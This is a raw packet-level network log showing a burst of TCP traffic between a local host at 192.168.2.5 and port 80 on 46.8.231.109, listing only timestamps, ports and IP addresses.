Oct 7, 2024 17:22:06.865952015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865977049 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865995884 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865998030 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865998030 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866014957 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866019011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866034985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866050959 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866053104 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866053104 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866066933 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866072893 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866081953 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866091013 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866097927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866112947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866122961 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866122961 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866128922 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866146088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866153002 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866153002 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866159916 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866173983 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866175890 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866193056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866195917 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866208076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866223097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866229057 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866229057 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866240978 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866255999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866267920 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866276979 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866282940 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866292000 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866307020 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866321087 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866333008 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866549015 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866729021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866744041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866759062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866772890 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866782904 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866782904 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866787910 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866803885 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866803885 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866806030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866822004 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866826057 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866828918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866837978 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866844893 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866858006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866878033 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866882086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866898060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866903067 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866913080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866925955 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866947889 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866952896 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866952896 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866962910 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866971970 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.866978884 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.866996050 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867005110 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867005110 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867011070 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867018938 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867027044 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867034912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867042065 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867058039 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867062092 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867062092 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867073059 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867079973 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867088079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867093086 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867104053 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867119074 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867124081 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867124081 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867134094 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867145061 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867149115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867162943 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867173910 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867173910 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867178917 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867193937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867199898 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867199898 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867208004 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867223024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867233038 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867233038 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867238998 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867250919 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867254972 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867264986 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867271900 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867276907 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867288113 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867305040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867309093 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867309093 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867319107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867326975 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867356062 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867356062 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867911100 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867959976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.867960930 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.867985964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868001938 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868016958 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868021965 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868021965 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868031979 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868038893 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868048906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868063927 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868065119 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868081093 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868084908 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868084908 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868097067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868098974 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868113041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868133068 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868133068 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868139982 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868155003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868164062 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868170977 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868186951 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868194103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868194103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868204117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868217945 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868217945 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868221045 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868240118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868247032 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868256092 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868271112 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868275881 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868275881 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868288040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868304014 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868316889 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868316889 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868320942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868336916 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868338108 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868338108 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868352890 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868355989 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868369102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868382931 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868390083 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868390083 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868397951 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868413925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868429899 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868438005 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868438959 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868444920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868458986 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868458986 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868460894 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868473053 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868475914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868493080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868508101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868508101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868509054 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868525982 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868537903 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868537903 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868541956 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868555069 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868557930 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868572950 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868586063 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868586063 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868607998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868639946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868655920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868670940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868675947 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868675947 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868686914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868695974 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868704081 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868720055 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868731022 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868731022 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868735075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868752003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868757963 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868757963 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868776083 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868777037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868789911 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868793964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868809938 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868824959 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868829966 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868829966 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868841887 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868849039 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868863106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868876934 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868880987 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868892908 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868895054 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868907928 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868907928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868926048 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868941069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868943930 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868957043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868973017 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868976116 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.868988991 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.868994951 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869004965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869009972 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869019985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869023085 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869035006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869036913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869050026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869051933 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869065046 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869074106 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869074106 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869080067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869085073 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869095087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869101048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869112015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869113922 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869127035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869143963 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869143963 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869144917 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869160891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869167089 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869173050 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869177103 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869191885 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869194984 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869208097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869211912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869224072 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869229078 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869241953 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869277000 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869277000 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869302988 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869613886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869630098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869643927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869661093 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869661093 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869661093 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869676113 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869679928 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869690895 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869697094 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869705915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869709969 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869721889 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869741917 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869743109 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869745970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869760990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869775057 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869786024 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869786024 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869798899 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869801044 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869816065 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869828939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869837999 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869837999 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869843960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869859934 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869863987 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869863987 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869875908 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869890928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869895935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869895935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869909048 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869918108 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869924068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869937897 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869940042 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869955063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869957924 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869957924 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869970083 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.869975090 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869987965 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.869988918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870002985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870018959 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870018959 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870033979 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870038986 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870039940 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870049953 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870063066 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870064020 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870064020 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870079041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870079041 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870095015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870099068 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870110035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870126009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870129108 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870129108 CEST	49704	80	192.168.2.5	46.8.231.109
